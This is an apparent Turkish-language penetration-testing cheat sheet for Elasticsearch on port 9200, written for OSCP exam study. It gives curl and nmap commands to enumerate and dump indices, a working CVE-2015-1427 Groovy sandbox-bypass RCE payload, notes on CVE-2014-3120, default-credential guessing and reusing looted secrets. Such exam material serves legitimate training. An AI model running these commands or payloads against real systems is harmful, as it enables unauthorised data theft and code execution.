9200
Elasticsearch
linuxElasticsearch (cogunlukla kimlik dogrulamasiz): index enumeration ve dump, surum-bazli CVE (CVE-2014-3120 / CVE-2015-1427 RCE), hassas veri loot.
┌──
Komutlar
nmap ✓ EXAM-SAFE
nmap -sV -p {{RPORT}} --script=http-elasticsearch-head {{RHOST}} Elasticsearch tespiti ve web arayuz/head plugin kontrolu. HackTricks — 9200 Pentesting Elasticsearch
curl ✓ EXAM-SAFE
curl -s http://{{RHOST}}:{{RPORT}}/ Kok endpoint ile surum (number, lucene_version) ve cluster bilgisi. HackTricks — 9200 Pentesting Elasticsearch
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/_cat/indices?v' Tum indeksleri (boyut, dokuman sayisi) listele. HackTricks — 9200 Pentesting Elasticsearch
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/INDEXNAME/_search?pretty&size=1000' Bir indeksin tum dokumanlarini dump et (loot). HackTricks — 9200 Pentesting Elasticsearch
curl ✓ EXAM-SAFE
curl -s -u {{USER}}:{{PASS}} 'http://{{RHOST}}:{{RPORT}}/_cat/indices?v' X-Pack auth aktifse temel kimlik dogrulamali enumeration. HackTricks — 9200 Pentesting Elasticsearch
curl ⚠ RESTRICTED
curl -s 'http://{{RHOST}}:{{RPORT}}/_search?pretty' -H 'Content-Type: application/json' -d '{"size":1,"script_fields":{"x":{"script":{"lang":"groovy","inline":"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}}' CVE-2015-1427 Groovy sandbox bypass ile RCE (Elasticsearch 1.3.x-1.4.x). Exploit-DB — Elasticsearch CVE-2015-1427
Genel Bakis
Elasticsearch (9200, HTTP REST API) OSCP’de iki acidan degerlidir: kimlik dogrulamasiz oldugunda indekslerdeki hassas veriyi loot etmek, ve eski surumlerde script-tabanli RCE CVE’leri.
Enumeration
curl http://host:9200/ciktisindakiversion.numberkritik; CVE eslesmesini buna gore yap./_cat/indices?vindeks listesini,/_cat/health,/_nodescluster detayini verir./INDEX/_search?pretty&size=1000ile bir indeksin dokumanlarini cek; buyuk indekslerdescrollAPI veyasizeartirimi gerekir.- 9300 portu (transport/Java native) ayrica acik olabilir; 9200 REST’e odaklan.
Kimlik Dogrulama
- Eski Elasticsearch’te varsayilan auth yoktur. X-Pack/Security aktifse
elastic/varsayilan parola veya_security/userdenenir; basic auth-u user:pass.
RCE — Surum Bazli CVE’ler
- CVE-2014-3120 (ES < 1.2): dynamic scripting acik, MVEL script ile
_searchuzerinden komut calistirma. - CVE-2015-1427 (ES 1.3.0-1.4.2): Groovy scripting sandbox bypass;
script_fieldsicinde Groovy inline ileRuntime.exec. Yukaridaki curl PoC bunu tetikler. - Bu CVE’ler script/otomatik istismara yakin oldugu icin examSafety restricted; surumu dogrulamadan (version.number) calistirmayin, yanlis surumde hata doner.
Loot / Pivot Notlari
- Indekslerde kullanici kayitlari, parola hash’leri, log verileri, API anahtarlari bulunabilir; web/SSH icin tekrar kullan.
- RCE genelde
elasticsearchOS kullanicisi verir; standart Linux privesc enumeration’a (SUID, sudo, cron) gec. - Kibana (genelde 5601) ayni veriye GUI saglar; acik ise oradan da loot mumkundur.
┌──
İlgili teknikler
┌──